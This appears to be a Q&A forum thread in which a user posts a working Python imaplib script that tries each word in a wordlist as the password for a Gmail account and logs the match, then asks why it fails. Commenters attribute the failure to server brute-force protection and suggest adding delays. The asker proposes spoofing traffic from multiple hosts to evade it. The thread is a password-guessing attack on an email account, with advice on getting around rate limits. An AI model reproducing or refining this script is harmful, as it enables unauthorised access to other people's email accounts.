0

I have a list of words in a text file. I am trying to run imap.login function against the words in that file. One of the words in that list is the password for the email ID. The script fails to recognise it as the password however, while I manually pass the password, it seems to return an "OK"

Here is the script:

import imaplib

conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)   
email_id='someone__blahh@gmail.com'

passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
        i = i.rstrip()
        passwrd = i
        if len(passwrd) > 5:
                fle = open("/Users/rdj/scripts/ghack.log", "a")
                try:
                        if conn.login(email_id, passwrd):
                                fle.write("%s ==> EUREKA\n" %(passwrd))
                                break
                except:
                        fle.write("%s --> NO LUCK\n" %(passwrd))
rickydj
  • 629
  • 5
  • 17
  • Perhaps after multiple failed logins the IMAP server is refusing to log you in even with the correct password? A thing to try would be to restart the connection every time. – JosiahDaniels Mar 10 '15 at 14:09
  • I tried that as well. Instead of establishing a connection signified here by `conn` outside the loop, I tried running it after the `try` statement. That does not work as well. As soon as the script is done running, i manually excuted the script from the `try` statement with the correct password and it returns the expected result. – rickydj Mar 10 '15 at 14:13
  • Another shot in the dark. Try adding a time.sleep(1) between every try. I still feel that there may be some security mechanism in the IMAP server to prevent a brute force attack like this. – JosiahDaniels Mar 10 '15 at 14:22
  • Thanks for the suggestion. That worked. If I go with that option, it makes my script very inefficient. i will explore other options and will update here if something works. Probably, I gotta make it look like the traffic is coming from multiple hosts. – rickydj Mar 10 '15 at 14:56

0 Answers0